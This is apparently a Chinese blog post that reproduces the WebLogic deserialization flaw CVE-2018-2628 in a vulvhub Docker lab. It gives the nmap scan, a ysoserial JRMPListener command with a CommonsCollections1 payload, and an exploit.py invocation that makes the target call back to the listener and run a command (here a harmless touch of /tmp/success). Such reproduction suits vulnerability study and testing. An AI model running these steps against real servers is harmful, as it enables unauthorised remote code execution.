Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。
漏洞原理远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(EJB支持远程访问,且支持多种协议。这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化 *** 作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java Remote Messaging Protocol:java远程消息交换协议)达到执行任意反序列化 payload 的目的。
影响版本Oracle WebLogic Server10.3.6.0
Oracle WebLogic Server12.2.1.2
Oracle WebLogic Server12.2.1.3
Oracle WebLogic Server12.1.3.0
漏洞复现 打开环境:cd /home/ch1/Desktop/vulhub-master/weblogic/CVE-2018-2628 docker-compose up -d docker ps
nmap扫描:
nmap -n -v -p7001,7002 192.168.8.9 --script=weblogic-t3-info
开启了T3协议
漏洞利用:首先下载ysoserial,并启动一个JRMP Server:
目的是为了使得触发漏洞后 weblogic 所在服务器可以远程调用执行特定的程序
ysoserial:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
其中,[command]即为执行的命令,而[listen port]是 JRMP Server 监听的端口。
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 2325 CommonsCollections1 'touch /tmp/success' #touch /tmp/success 该命令是在tmp目录下创建一个success文件
然后,使用exploit.py脚本,向目标Weblogic发送数据包:
下载 exploit.py:https://www.exploit-db.com/exploits/44553
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
其中,[victim ip]和[victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地ysoserial的路径,[JRMPListener ip]和[JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2。
如下:
python exploit.py 192.168.8.9 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.8.11 2325 JRMPClient
exploit.py 执行完成后
进入容器,可见/tmp/success已成功创建。
docker exec -it 5d17b49475da /bin/bash
恶意指令执行成功。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)